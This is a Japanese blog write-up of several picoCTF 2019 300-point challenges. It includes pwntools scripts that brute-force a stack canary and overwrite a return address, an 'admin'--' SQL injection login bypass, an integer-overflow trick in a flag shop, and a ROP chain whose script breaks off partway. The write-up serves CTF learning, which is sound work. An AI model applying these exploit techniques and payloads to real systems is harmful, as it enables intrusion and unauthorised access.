好奇心の足跡

飽きっぽくすぐ他のことをしてしまうので、忘れないため・形にして頭に残すための備忘録。

picoCTF2019 300pt問題のwrite-up

中高生向けのCTF、picoCTF 2019 の write-up です。他の得点帯の write-up へのリンクはこちらを参照。

kusuwada.hatenablog.com

[Binary] CanaRy (300pt)

This time we added a canary to detect buffer overflows. Can you still find a way to retreive the flag from this program located in /problems/canary_0_2aa953036679658ee5e0cc3e373aa8e0. Source.

Hint

Maybe there's a smart way to brute-force the canary?

実行ファイルvulnと、ソースファイルvuln.cが配布されます。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <wchar.h>
#include <locale.h>

#define BUF_SIZE 32
#define FLAG_LEN 64
#define KEY_LEN 4

void display_flag() {
  char buf[FLAG_LEN];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("'flag.txt' missing in the current directory!\n");
    exit(0);
  }
  fgets(buf,FLAG_LEN,f);
  puts(buf);
  fflush(stdout);
}

char key[KEY_LEN];
void read_canary() {
  FILE *f = fopen("/problems/canary_0_2aa953036679658ee5e0cc3e373aa8e0/canary.txt","r");
  if (f == NULL) {
    printf("[ERROR]: Trying to Read Canary\n");
    exit(0);
  }
  fread(key,sizeof(char),KEY_LEN,f);
  fclose(f);
}

void vuln(){
   char canary[KEY_LEN];
   char buf[BUF_SIZE];
   char user_len[BUF_SIZE];

   int count;
   int x = 0;
   memcpy(canary,key,KEY_LEN);
   printf("Please enter the length of the entry:\n> ");

   while (x<BUF_SIZE) {
      read(0,user_len+x,1);
      if (user_len[x]=='\n') break;
      x++;
   }
   sscanf(user_len,"%d",&count);

   printf("Input> ");
   read(0,buf,count);

   if (memcmp(canary,key,KEY_LEN)) {
      printf("*** Stack Smashing Detected *** : Canary Value Corrupt!\n");
      exit(-1);
   }
   printf("Ok... Now Where's the Flag?\n");
   fflush(stdout);
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  
  int i;
  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  read_canary();
  vuln();

  return 0;
}

タイトルからしてもCANARYが使われているようです。。。と思ったら、プログラムの中にread_canary()関数が。試しにshell serverでのぞいてみましたが、Permission denied でした。デスヨネ…。

この問題は、picoCTF2018 buffer overflow 3 とほぼ同じ問題です。前半の解き方はこちらにあるので、今回のwriteupでは使用したスクリプトとざっくりの流れのみ。

まずは canary をbrute forceで取りに行きます。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *

# picoCTF の shell serverに接続
print('picoCTF shell server login')
print('name:')
pico_name = input('>>')
print('password')
pico_pass = input('>>')

canary = b''
for i in range(4):
    for c in range(0xff):
        attack = b'a'*32 + canary + bytes([c])
        print(attack)
        p = pico_ssh.process('./vuln')
        p.recvuntil('Please enter the length of the entry:\n> ')
        p.sendline(str(32+i+1))
        p.recvuntil('Input> ')
        p.sendline(attack)
        res = p.recvall()
        if b"Canary Value Corrupt!" not in res:
            print(res)
            canary += bytes([c])
            break
print(canary)

実行結果

$ python canary.py
(略)
b'33xO'

この場合のstackは下記。

0x20 |   buf   | 32
0x10 | canary  | 4 + 12
0x4  |   ebp   | 4
0x4  | return  | 4

return のところに display_flag関数が来るように調節します。
ところで、今回のファイル、picoCTF2018と違うところは、なんとPIEが有効になっています!点数下がってるのに!

前回(picoCTF2018 buffer overflow 3)

[*] '/picoCTF_2018/Binary/buffer_overflow_3/vuln'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE

今回

[*] '/picoCTF_2019/Binary/300_CanaRy/vuln'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

ということで、各関数のアドレスも実行ごとに書き換わってしまうことに注意です。
PIEについては ångstromCTF 2019 の Pie Shop で触れました。

$ objdump -d vuln | grep display_flag
000007ed <display_flag>:
 81f:   75 1c                   jne    83d <display_flag+0x50>

display_flagのアドレスは000007edのようです。アドレスは書き換わっても上位ビットは値が変わらないので、下位の2バイトが偶然一致すれば当たり。これも Pie Shop と一緒ですね…!

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *

context.log_level = 'warn'

# picoCTF の shell serverに接続
print('picoCTF shell server login')
print('name:')
pico_name = input('>>')
print('password')
pico_pass = input('>>')
pico_ssh = ssh(host='2019shell1.picoctf.com', user=pico_name, password=pico_pass)
pico_ssh.set_working_directory('/problems/canary_0_2aa953036679658ee5e0cc3e373aa8e0')

display_flag_adder = 0x07ed
canary = b"33xO"
attack = b"a"*32 + canary + b"a"*(16-4+4) + p16(display_flag_adder)

counter = 0
while True:
    print('counter: ' + str(counter))
    p = pico_ssh.process('./vuln')
    print(p.recvuntil(b'Please enter the length of the entry:\n> '))
    p.sendline(str(len(attack)))
    print(p.recvuntil(b'Input> '))
    p.sendline(attack)
    res = p.recvall()
    print(res)
    if b'picoCTF{' in res:
        break
    counter += 1

実行結果

$ python solve.py
picoCTF shell server login
counter: 0
b'Please enter the length of the entry:\n> '
b'Input> '
b"Ok... Now Where's the Flag?\n"
counter: 1
b'Please enter the length of the entry:\n> '
b'Input> '
b"Ok... Now Where's the Flag?\n"
counter: 2
b'Please enter the length of the entry:\n> '
b'Input> '
b"Ok... Now Where's the Flag?\n"
counter: 3
b'Please enter the length of the entry:\n> '
b'Input> '
b"Ok... Now Where's the Flag?\n"
counter: 4
b'Please enter the length of the entry:\n> '
b'Input> '
b"Ok... Now Where's the Flag?\npicoCTF{cAnAr135_mU5t_b3_r4nd0m!_069c6f48}\n"

なんと運良く4回で当たりました!

実はこれ、競技期間中に何度かトライしてぶん回してたんですけど、1万回超えを2回やっても当たらなかったので諦めちゃったのです。他の方のwriteup見てみたら、最初に送るInputLengthを適当に100とか入れてたのが原因っぽい。localだとこれでとれたんだけどな?

あと、毎回この手の問題で「ローカルで回したほうが早いわ!」と思うんですけどワンライナー力が足りなくて結局pythonスクリプトでごまかしてました。夜通し回せばなんとかなるじゃろと。。。でもトライアンドエラーすることも考えると、やっぱりローカルで回せる問題ならローカルで動かしたい。ということで今回、local用のスクリプトを書いて shell server で回してみました。送る文字列は上記のスクリプトで出したattackです。
ランダムな部分は4bitなので、(1/2)4 = 1/16 の確率で当たるはず。
組んだコマンドがこちら。ワンライナー難しい…。

$ while [[ $flag != *picoCTF{* ]]; do flag=$(echo `printf '54\naaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa33xOaaaaaaaaaaaaaaaa\xed\x07' | ./vuln`); echo $flag; done

実行結果

$ while [[ $flag != *picoCTF{* ]]; do flag=$(echo `printf '54\naaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa33xOaaaaaaaaaaaaaaaa\xed\x07' | ./vuln`); echo $flag; done
Please enter the length of the entry: > Input> Ok... Now Where's the Flag?
Please enter the length of the entry: > Input> Ok... Now Where's the Flag?
Please enter the length of the entry: > Input> Ok... Now Where's the Flag?
Please enter the length of the entry: > Input> Ok... Now Where's the Flag?
Please enter the length of the entry: > Input> Ok... Now Where's the Flag?
Please enter the length of the entry: > Input> Ok... Now Where's the Flag?
Please enter the length of the entry: > Input> Ok... Now Where's the Flag?
Please enter the length of the entry: > Input> Ok... Now Where's the Flag?
Please enter the length of the entry: > Input> Ok... Now Where's the Flag?
Please enter the length of the entry: > Input> Ok... Now Where's the Flag?
Please enter the length of the entry: > Input> Ok... Now Where's the Flag?
Please enter the length of the entry: > Input> Ok... Now Where's the Flag? picoCTF{cAnAr135_mU5t_b3_r4nd0m!_069c6f48}

出たー!!!

[Forensics] Investigative Reversing 0 (300pt)

m00nwalkを解いたら出てきたのかな?

We have recovered a binary and an image. See what you can make of it. There should be a flag somewhere. Its also found in /problems/investigative-reversing-0_2_ab841e10c5d847cfcf0eae8b4b3bc0a7 on the shell server.

Hints

Try using some forensics skills on the image

This problem requires both forensics and reversing skills

A hex editor may be helpful

mysteryという実行ファイルとmystery.pngというPNGファイルが配布されます。

f:id:kusuwada:20191113121121p:plain

まずはimageに対してforensic的なサムシングをしてみなさいとのことなのでやってみます。stringsコマンドかけたときもちょっと気になっていたのですが、zstegツールをかけてみるとこんな結果が。

$ zsteg -a mystery.png 
[?] 26 bytes of extra data after image end (IEND), offset = 0x1e873
extradata:0         .. 
    00000000: 70 69 63 6f 43 54 4b 80  6b 35 7a 73 69 64 36 71  |picoCTK.k5zsid6q|
    00000010: 5f 65 36 36 65 66 63 31  62 7d                    |_e66efc1b}      |
imagedata           .. text: "PPP@@@@@@@@@@@@"

imageのあとにpicoCTK.k5zsid6q_e66efc1b}というデータが埋まっているらしい。stringsコマンドでも出てきていましたが、imageの後なのはわかりませんでした。超怪しい。

この文字列が、今度は実行ファイルに活かせたりするのかな?

ということで実行ファイルの方を見てみます。まずは動かしてみます。

$ ./mystery 
at insert

ん?
よくわからないのでghidraで解析&decompileしてもらいます。decompile結果を、変数名をわかりやすくしてみました。

f:id:kusuwada:20191113121146p:plain

void main(void)

{
  FILE *stream_flag;
  FILE *stream_png;
  size_t flag;
  long in_FS_OFFSET;
  int index;
  int index2;
  char flag_ptr [4];
  char local_34;
  char local_33;
  char local_29;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  stream_flag = fopen("flag.txt","r");
  stream_png = fopen("mystery.png","a");
  if (stream_flag == (FILE *)0x0) {
    puts("No flag found, please make sure this is run on the server");
  }
  if (stream_png == (FILE *)0x0) {
    puts("mystery.png is missing, please run this on the server");
  }
  flag = fread(flag_ptr,0x1a,1,stream_flag); // 0x1a = 26
  if ((int)flag < 1) {
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  puts("at insert");
  fputc((int)flag_ptr[0],stream_png);  // p
  fputc((int)flag_ptr[1],stream_png);  // i
  fputc((int)flag_ptr[2],stream_png);  // c
  fputc((int)flag_ptr[3],stream_png);  // o
  fputc((int)local_34,stream_png);     // C
  fputc((int)local_33,stream_png);     // T
  index = 6;
  while (index < 0xf) {  // 0xf = 15d
    fputc((int)(char)(flag_ptr[(long)index] + '\x05'),stream_png);  // 5たされている
    index = index + 1;
  }
  fputc((int)(char)(local_29 + -3),stream_png);  // -3されている
  index2 = 0x10;  // 0x10 = 16
  while (index2 < 0x1a) {  // 0x1a = 26
    fputc((int)flag_ptr[(long)index2],stream_png);  // そのまま
    index2 = index2 + 1;
  }
  fclose(stream_png);
  fclose(stream_flag);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

flag.txtを読み込んで、ちょろっと変換してmystery.pngの後ろにくっつけたみたい。
これは割と簡単にもとに戻せそうです。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

transfered = 'picoCTK.k5zsid6q_e66efc1b}'
flag = ''

print('length: ' + str(len(transfered)))

idx = 0
while idx < 6:
    flag += transfered[idx]
    idx += 1
while idx < 15:
    flag += chr(ord(transfered[idx])-5)
    idx += 1
flag += chr(ord(transfered[idx])+3)
idx += 1
while idx < 26:
    flag += transfered[idx]
    idx += 1

print(flag)

実行結果

$ python solve.py 
length: 26
picoCTF)f0und_1t_e66efc1b}

なんか8文字目が{になってほしいのに(になっていますが、バイナリエディタで確認すると、変換前は0x80、これがascii文字で表せなかったので.になっているんですね。0c80-5 = 0x7bで、asciiの{にあたるので、flagは picoCTF{f0und_1t_e66efc1b}

この問題は最初から出しておいてくれると嬉しかったなー!

[Web] Irish-Name-Repo 1 (300pt)

There is a website running at https://2019shell1.picoctf.com/problem/32241/ (link) or http://2019shell1.picoctf.com:32241. Do you think you can log us in? Try to see if you can login!

Hints

There doesn't seem to be many ways to interact with this, I wonder if the users are kept in a database? Try to think about how does the website verify your login?

指定されたサイトに飛んでみます。顔写真と名前が沢山。

f:id:kusuwada:20191012023612p:plain

いくつかメニューが。

f:id:kusuwada:20191012023634p:plain

完全に Admin Login がアヤシイですが、ここは Support をまず見てみます。

f:id:kusuwada:20191012023650p:plain

ここで得られる情報は、どうやらDBにSQLを使っているっぽいということです。
ということで、 Admin Login に行ってSQLインジェクションを試してみます。

admin'--

をUsrenameに入れるだけで通りました!めでたし!

f:id:kusuwada:20191012023712p:plain

f:id:kusuwada:20191012023724p:plain

[Reversing] asm3 (300pt)

What does asm3(0xaeed09cb,0xb7acde91,0xb7facecd) return? Submit the flag as a hexadecimal value (starting with '0x'). NOTE: Your submission for this question will NOT be in the normal flag format. Source located in the directory at /problems/asm3_0_9cdf5fc9325b2a6276fb8e5908f0b5df.

またまたアセンブリが配布されます。

asm3:
    <+0>: push   ebp
    <+1>: mov    ebp,esp
    <+3>: xor    eax,eax
    <+5>: mov    ah,BYTE PTR [ebp+0xb]
    <+8>: shl    ax,0x10
    <+12>:    sub    al,BYTE PTR [ebp+0xe]
    <+15>:    add    ah,BYTE PTR [ebp+0xd]
    <+18>:    xor    ax,WORD PTR [ebp+0x12]
    <+22>:    nop
    <+23>:    pop    ebp
    <+24>:    ret    

これに 0xaeed09cb,0xb7acde91,0xb7facecd を入れたときの出力を聞かれています。
入力値は下記のように詰まっています。

ebp + 0x00 | ebp |
ebp + 0x04 | ret |
ebp + 0x08 | arg1 = 0xaeed09cb |
ebp + 0x0c | arg2 = 0xb7acde91 |
ebp + 0x10 | arg3 = 0xb7facecd |

BYTE, WORD が出てくるのでこれについてはここでおさらい。アセンブリ言語入門

DWORD: 4バイト WORD: 2バイト BYTE: 1バイト

今回は、WORD/BYTE単位で扱うため、それぞれのグループに分割してみます。

【BYTE】

ebp + 0x08 | 0xcb |
ebp + 0x09 | 0x09 |
ebp + 0x0a | 0xed |
ebp + 0x0b | 0xae |
ebp + 0x0c | 0x91 |
ebp + 0x0d | 0xde |
ebp + 0x0e | 0xac |
ebp + 0x0f | 0xb7 |
ebp + 0x10 | 0xcd |
ebp + 0x11 | 0xce |
ebp + 0x12 | 0xfa |
ebp + 0x13 | 0xb7 |

【WORD】

ebp + 0x08 | 0x09cb |
ebp + 0x0a | 0xaeed |
ebp + 0x0c | 0xde91 |
ebp + 0x0e | 0xb7ac |
ebp + 0x10 | 0xcecd |
ebp + 0x12 | 0xb7fa |

処理を追っていきます。

asm3:
    <+0>: push   ebp                     # base pointer を stackの一番上に
    <+1>: mov    ebp,esp                 # stack pointer を ebp に追従
    <+3>: xor    eax,eax                 # eax xor eax = 0
    <+5>: mov    ah,BYTE PTR [ebp+0xb]   # ah に 0xae を代入; eax = 0x0000ae00
    <+8>: shl    ax,0x10                 # ax を16bit 左シフト; ax = 0xae00 => 0x0000; eax = 0x00000000
    <+12>:    sub    al,BYTE PTR [ebp+0xe]   # al = al - 0xac; eax = 0x00000054
    <+15>:    add    ah,BYTE PTR [ebp+0xd]   # ah = ah + 0xde; eax = 0x0000de54
    <+18>:    xor    ax,WORD PTR [ebp+0x12]  # ax = 0xde54 xor 0xb7fa; eax = 0x69ae
    <+22>:    nop
    <+23>:    pop    ebp                     # eax を return
    <+24>:    ret    

ということで、最終的に 0x69ae が計算結果に。これもこのままflagに突っ込みます。

[Reversing] droids0 (300pt)

Where do droid logs go. Check out this file. You can also find the file in /problems/droids0_0_205f7b4a3b23490adffddfcfc45a2ca3.

zero.apkというAndroid用アプリが配布されます。fileコマンドで中身を見てみます。

AndroidStudioをニューマシーンに入れてなかったので、まずは手持ちのAndroid端末に入れて起動してみます。

f:id:kusuwada:20191113121316p:plain

こんな画面が出てきました。怪しすぎるボタンを押すと

f:id:kusuwada:20191113121329p:plain

"Not Today..."だそうです。画面上部にヒントが書いてあります。

where else can output go? [PICO]

あー、これはきっとLogに出るやつだなー。帰ったらAndroidStudio入れて立ち上げてログ見てみよう。(出先だった)

...というメモを残したまま、AndroidStudioを入れるのを後回しにし続けたところ、競技期間が終わってました。。。。

AndroidStudio公式サイト より DL & install。
事前ビルド済み APK のプロファイリングやデバッグを行う  |  Android Developers
こちらを見ながら、エミュレーターで該当のapkを立ち上げます。
Logcatを見ながらボタンを押すと、ここにflagが表示されました!

f:id:kusuwada:20191113123343p:plain

これこそ点数を稼ぐために競技期間中にやっておくべきだった…orz。

[General] flag_shop (300pt)

There's a flag shop selling stuff, can you buy a flag? Source. Connect with nc 2019shell1.picoctf.com 29250.

ソースコード store.c が配布されます。

#include <stdio.h>
#include <stdlib.h>
int main()
{
    setbuf(stdout, NULL);
    int con;
    con = 0;
    int account_balance = 1100;
    while(con == 0){
        
        printf("Welcome to the flag exchange\n");
        printf("We sell flags\n");

        printf("\n1. Check Account Balance\n");
        printf("\n2. Buy Flags\n");
        printf("\n3. Exit\n");
        int menu;
        printf("\n Enter a menu selection\n");
        fflush(stdin);
        scanf("%d", &menu);
        if(menu == 1){
            printf("\n\n\n Balance: %d \n\n\n", account_balance);
        }
        else if(menu == 2){
            printf("Currently for sale\n");
            printf("1. Defintely not the flag Flag\n");
            printf("2. 1337 Flag\n");
            int auction_choice;
            fflush(stdin);
            scanf("%d", &auction_choice);
            if(auction_choice == 1){
                printf("These knockoff Flags cost 900 each, enter desired quantity\n");
                
                int number_flags = 0;
                fflush(stdin);
                scanf("%d", &number_flags);
                if(number_flags > 0){
                    int total_cost = 0;
                    total_cost = 900*number_flags;
                    printf("\nThe final cost is: %d\n", total_cost);
                    if(total_cost <= account_balance){
                        account_balance = account_balance - total_cost;
                        printf("\nYour current balance after transaction: %d\n\n", account_balance);
                    }
                    else{
                        printf("Not enough funds to complete purchase\n");
                    }
                                    
                    
                }
                    
                    
                    
                
            }
            else if(auction_choice == 2){
                printf("1337 flags cost 100000 dollars, and we only have 1 in stock\n");
                printf("Enter 1 to buy one");
                int bid = 0;
                fflush(stdin);
                scanf("%d", &bid);
                
                if(bid == 1){
                    
                    if(account_balance > 100000){
                        FILE *f = fopen("flag.txt", "r");
                        if(f == NULL){

                            printf("flag not found: please run this on the server\n");
                            exit(0);
                        }
                        char buf[64];
                        fgets(buf, 63, f);
                        printf("YOUR FLAG IS: %s\n", buf);
                        }
                    
                    else{
                        printf("\nNot enough funds for transaction\n\n\n");
                    }}

            }
        }
        else{
            con = 1;
        }

    }
    return 0;
}

指定のホストに接続してみます。

$ nc 2019shell1.picoctf.com 29250
Welcome to the flag exchange
We sell flags

1. Check Account Balance

2. Buy Flags

3. Exit

 Enter a menu selection

なんか見たことあるぞ!flag屋さんですね。
初期状態で$1100与えられており、本物のフラグ(1337 Flag)を買うには$100000必要です。偽物を買うには$900必要ですが、偽物をたくさん買っても本物にはなりません。そもそも値段的に1つしか買えません。

なんとかして所持金(account_balance)を増やす必要があります。

ここで、account_balanceの型がintであることに注目。偽物の旗の購入総額が所持金を上回っていないかのチェックがL41の比較で行われていますが、total_costが負数でもこのチェックは通りそう。なので、偽物の旗を大量に購入してtotal_costを桁あふれさせてやります。

以下、流れがわかりやすいように、入力は > と表記します。無駄な改行は消したりしています。

$ nc 2019shell1.picoctf.com 29250
Welcome to the flag exchange
We sell flags
1. Check Account Balance
2. Buy Flags
3. Exit
 Enter a menu selection

> 1
 Balance: 1100 

Welcome to the flag exchange
We sell flags
1. Check Account Balance
2. Buy Flags
3. Exit
 Enter a menu selection

> 2
Currently for sale
1. Defintely not the flag Flag
2. 1337 Flag
> 1
These knockoff Flags cost 900 each, enter desired quantity
> 100000000000000000

The final cost is: -651689984

Your current balance after transaction: 651691084

Welcome to the flag exchange
We sell flags
1. Check Account Balance
2. Buy Flags
3. Exit
 Enter a menu selection
> 2
Currently for sale
1. Defintely not the flag Flag
2. 1337 Flag
> 2
1337 flags cost 100000 dollars, and we only have 1 in stock
Enter 1 to buy one
> 1
YOUR FLAG IS: picoCTF{m0n3y_bag5_783740a8}

[Binary] leap-frog (300pt)

Can you jump your way to win in the following program and get the flag? You can find the program in /problems/leap-frog_3_5d6cea2f1cec97458549353ec1e7e158 on the shell server? Source.

Hints

Try and call the functions in the correct order! Remember, you can always call main() again!

実行ファイル ropソースコード rop.c が配布されます。
ヒントとファイル名から、ROPをつないでdisplay_flag()関数を呼び出す問題のようです。
去年の問題 picoCTF2018 rop chain に似ています。が、後で発覚しますが、また点数下がってるのに一捻りあります…。

実行ファイルを見てみます。

Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE

32bit, No canary, No PIE。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdbool.h>


#define FLAG_SIZE 64

bool win1 = false;
bool win2 = false;
bool win3 = false;

void leapA() {
  win1 = true;
}

void leap2(unsigned int arg_check) {
  if (win3 && arg_check == 0xDEADBEEF) {
    win2 = true;
  }
  else if (win3) {
    printf("Wrong Argument. Try Again.\n");
  }
  else {
    printf("Nope. Try a little bit harder.\n");
  }
}

void leap3() {
  if (win1 && !win1) {
    win3 = true;
  }
  else {
    printf("Nope. Try a little bit harder.\n");
  }
}

void display_flag() {
  char flag[FLAG_SIZE];
  FILE *file;
  file = fopen("flag.txt", "r");
  if (file == NULL) {
    printf("'flag.txt' missing in the current directory!\n");
    exit(0);
  }

  fgets(flag, sizeof(flag), file);
  
  if (win1 && win2 && win3) {
    printf("%s", flag);
    return;
  }
  else if (win1 || win3) {
    printf("Nice Try! You're Getting There!\n");
  }
  else {
    printf("You won't get the flag that easy..\n");
  }
}

void vuln() {
  char buf[16];
  printf("Enter your input> ");
  return gets(buf);
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  
  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  vuln();
}

コードを読むと、mainからvulnが呼ばれ、bub[16]にユーザー入力を入れ、これをreturnしています。bufにはBufferOverflowの脆弱性があるので、これを利用します。

最終的にはdisplay_flag()関数を呼びますが、その前にwin1,2,3trueにする必要があります。何も考えずにざっと見ると、leapA(),leap3(),leap2(0xDEADBEEF)の順に呼び出せば良さそうですが、leap3()が曲者で、普通に呼び出すだけではif (win1 && !win1)の条件が満たせず、win3trueになりません。

ここで、今までのBinary問題でやってみた、"関数の途中の命令を呼ぶ" が使えそう。具体的には、leap3()関数の中のif (win1 && !win1)の条件分岐を飛ばして、win3 = true;の命令部分をいきなり呼び出せれば良さそう。イメージこんな感じ。

  1. call leapA()
  2. call leap3()'s win3 = true address
  3. call leap2() with arg 0xDEADBEEF
  4. call display_flag()

各関数のアドレスをradare2を使って調べます。

$ r2 rop
[0x080484d0]> aaaa
(略)
[0x080484d0]> afl
(略)
0x080483e8    3 35           sym._init
0x08048420    1 6            sym.imp.printf
0x08048430    1 6            sym.imp.gets
0x08048440    1 6            sym.imp.fgets
0x08048450    1 6            sym.imp.getegid
0x08048460    1 6            sym.imp.puts
0x08048470    1 6            sym.imp.exit
(略)
0x080485e6    1 23           sym.leapA
0x080485fd    7 105          sym.leap2
0x08048666    5 77           sym.leap3
0x080486b3   11 222          sym.display_flag
0x08048791    1 56           sym.vuln
0x080487c9    1 100          sym.main

また、leap3()の中の、飛ぶべきアドレスを調べます。

[0x080484d0]> s sym.leap3
[0x08048666]> pdf
/ (fcn) sym.leap3 77
|   sym.leap3 ();
|           ; var int local_4h @ ebp-0x4
|           0x08048666      55             push ebp
|           0x08048667      89e5           mov ebp, esp
|           0x08048669      53             push ebx
|           0x0804866a      83ec04         sub esp, 4
|           0x0804866d      e8bb010000     call sym.__x86.get_pc_thunk.ax
|           0x08048672      058e190000     add eax, 0x198e
|           0x08048677      0fb6903d0000.  movzx edx, byte [eax + 0x3d] ; [0x3d:1]=255 ; '=' ; 61
|           0x0804867e      84d2           test dl, dl
|       ,=< 0x08048680      7417           je 0x8048699
|       |   0x08048682      0fb6903d0000.  movzx edx, byte [eax + 0x3d] ; [0x3d:1]=255 ; '=' ; 61
|       |   0x08048689      83f201         xor edx, 1
|       |   0x0804868c      84d2           test dl, dl
|      ,==< 0x0804868e      7409           je 0x8048699
|      ||   0x08048690      c6803f000000.  mov byte [eax + 0x3f], 1
|     ,===< 0x08048697      eb14           jmp 0x80486ad
|     |||   ; CODE XREFS from sym.leap3 (0x8048680, 0x804868e)
|     |``-> 0x08048699      83ec0c         sub esp, 0xc
|     |     0x0804869c      8d90dce8ffff   lea edx, dword [eax - 0x1724]
|     |     0x080486a2      52             push edx
|     |     0x080486a3      89c3           mov ebx, eax
|     |     0x080486a5      e8b6fdffff     call sym.imp.puts           ; int puts(const char *s)
|     |     0x080486aa      83c410         add esp, 0x10
|     |     ; CODE XREF from sym.leap3 (0x8048697)
|     `---> 0x080486ad      90             nop
|           0x080486ae      8b5dfc         mov ebx, dword [local_4h]
|           0x080486b1      c9             leave
\           0x080486b2      c3             ret

0x08048690 c6803f000000. mov byte [eax + 0x3f], 1 ここっぽい。

leap2()関数のargは下記のようになっています。

[0x08048666]> s sym.leap2
[0x080485fd]> pdf
/ (fcn) sym.leap2 105
|   sym.leap2 (int arg_8h);
|           ; var int local_4h @ ebp-0x4
|           ; arg int arg_8h @ ebp+0x8

以上の情報より、下記のように組んでみます。

0x18 + 0x4 | payload
       0x4 | address leapA()
       0x4 | address win3の途中
       0x4 | address leap2() 
       0x4 | pop()
       0x4 | arg leap2()
       0x4 | address disp_flag()

途中、一旦popをはさみたいので、使えそうな pop 命令を探します。

[0x08048666]> "/R pop;ret"
  0x080483fc       ff85c07405e8  inc dword [ebp - 0x17fa8b40]
  0x08048402         ba00000083  mov edx, 0x83000000
  0x08048407               c408  les ecx, [eax]
  0x08048409                 5b  pop ebx
  0x0804840a                 c3  ret

  0x080483ff               7405  je 0x8048406
  0x08048401         e8ba000000  call 0x80484c0
  0x08048406             83c408  add esp, 8
  0x08048409                 5b  pop ebx
  0x0804840a                 c3  ret

  0x08048404               0000  add byte [eax], al
  0x08048406             83c408  add esp, 8
  0x08048409                 5b  pop ebx
  0x0804840a                 c3  ret

  0x080485ed       0005121a0000  add byte [0x1a12], al
  0x080485f3     c6803d00000001  mov byte [eax + 0x3d], 1
  0x080485fa                 90  nop
  0x080485fb                 5d  pop ebp
  0x080485fc                 c3  ret

  0x080485ee         05121a0000  add eax, 0x1a12
  0x080485f3     c6803d00000001  mov byte [eax + 0x3d], 1
  0x080485fa                 90  nop
  0x080485fb                 5d  pop ebp
  0x080485fc                 c3  ret

  0x080485f0               1a00  sbb al, byte [eax]
  0x080485f2               00c6  add dh, al
  0x080485f4     803d0000000190  cmp byte [0x1000000], 0x90
  0x080485fb                 5d  pop ebp
  0x080485fc                 c3  ret

  0x080485f1               0000  add byte [eax], al
  0x080485f3     c6803d00000001  mov byte [eax + 0x3d], 1
  0x080485fa                 90  nop
  0x080485fb                 5d  pop ebp
  0x080485fc                 c3  ret

  0x080485f5         3d00000001  cmp eax, 0x1000000
  0x080485fa                 90  nop
  0x080485fb                 5d  pop ebp
  0x080485fc                 c3  ret

  0x080485f6               0000  add byte [eax], al
  0x080485f8               0001  add byte [ecx], al
  0x080485fa                 90  nop
  0x080485fb                 5d  pop ebp
  0x080485fc                 c3  ret

  0x0804865c       ff83c410908b  inc dword [ebx - 0x746fef3c]
  0x08048662                 5d  pop ebp
  0x08048663                 fc  cld
  0x08048664                 c9  leave
  0x08048665                 c3  ret

  0x080486a9       ff83c410908b  inc dword [ebx - 0x746fef3c]
  0x080486af                 5d  pop ebp
  0x080486b0                 fc  cld
  0x080486b1                 c9  leave
  0x080486b2                 c3  ret

  0x0804878d                 5d  pop ebp
  0x0804878e                 fc  cld
  0x0804878f                 c9  leave
  0x08048790                 c3  ret

  0x080487c5                 5d  pop ebp
  0x080487c6                 fc  cld
  0x080487c7                 c9  leave
  0x080487c8                 c3  ret

  0x08048820               0000  add byte [eax], al
  0x08048822       008d65f8595b  add byte [ebp + 0x5b59f865], cl
  0x08048828                 5d  pop ebp
  0x08048829             8d61fc  lea esp, dword [ecx - 4]
  0x0804882c                 c3  ret

  0x08048826                 59  pop ecx
  0x08048827                 5b  pop ebx
  0x08048828                 5d  pop ebp
  0x08048829             8d61fc  lea esp, dword [ecx - 4]
  0x0804882c                 c3  ret

  0x0804882a                 61  popal
  0x0804882b                 fc  cld
  0x0804882c                 c3  ret

  0x08048896             c40c5b  les ecx, [ebx + ebx*2]
  0x08048899                 5e  pop esi
  0x0804889a                 5f  pop edi
  0x0804889b                 5d  pop ebp
  0x0804889c                 c3  ret

  0x08048897               0c5b  or al, 0x5b
  0x08048899                 5e  pop esi
  0x0804889a                 5f  pop edi
  0x0804889b                 5d  pop ebp
  0x0804889c                 c3  ret

  0x08048898                 5b  pop ebx
  0x08048899                 5e  pop esi
  0x0804889a                 5f  pop edi
  0x0804889b                 5d  pop ebp
  0x0804889c                 c3  ret

  0x080488a8         e873fcffff  call 0x8048520
  0x080488ad       81c353170000  add ebx, 0x1753
  0x080488b3             83c408  add esp, 8
  0x080488b6                 5b  pop ebx
  0x080488b7                 c3  ret

  0x080488b0                 17  pop ss
  0x080488b1               0000  add byte [eax], al
  0x080488b3             83c408  add esp, 8
  0x080488b6                 5b  pop ebx
  0x080488b7                 c3  ret

  0x080488b4               c408  les ecx, [eax]
  0x080488b6                 5b  pop ebx
  0x080488b7                 c3  ret

下記の部分が使えそう。

  0x0804889b                 5d  pop ebp
  0x0804889c                 c3  ret

これを組み立てるスクリプトを書いてみます。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *

e = ELF('rop')

leapA_addr = 0x080485e6
leap2_addr = 0x080485fd
leap2_arg = 0xDEADBEEF
# leap3_addr = 0x08048666
turn_win3_true = 0x08048690
disp_flag_addr = 0x080486b3
pop_addr = 0x0804889b

payload =  b'a' * (0x18 + 4)
payload += p32(leapA_addr)
payload += p32(turn_win3_true)
payload += p32(leap2_addr)
payload += p32(pop_addr)
payload += p32(leap2_arg)
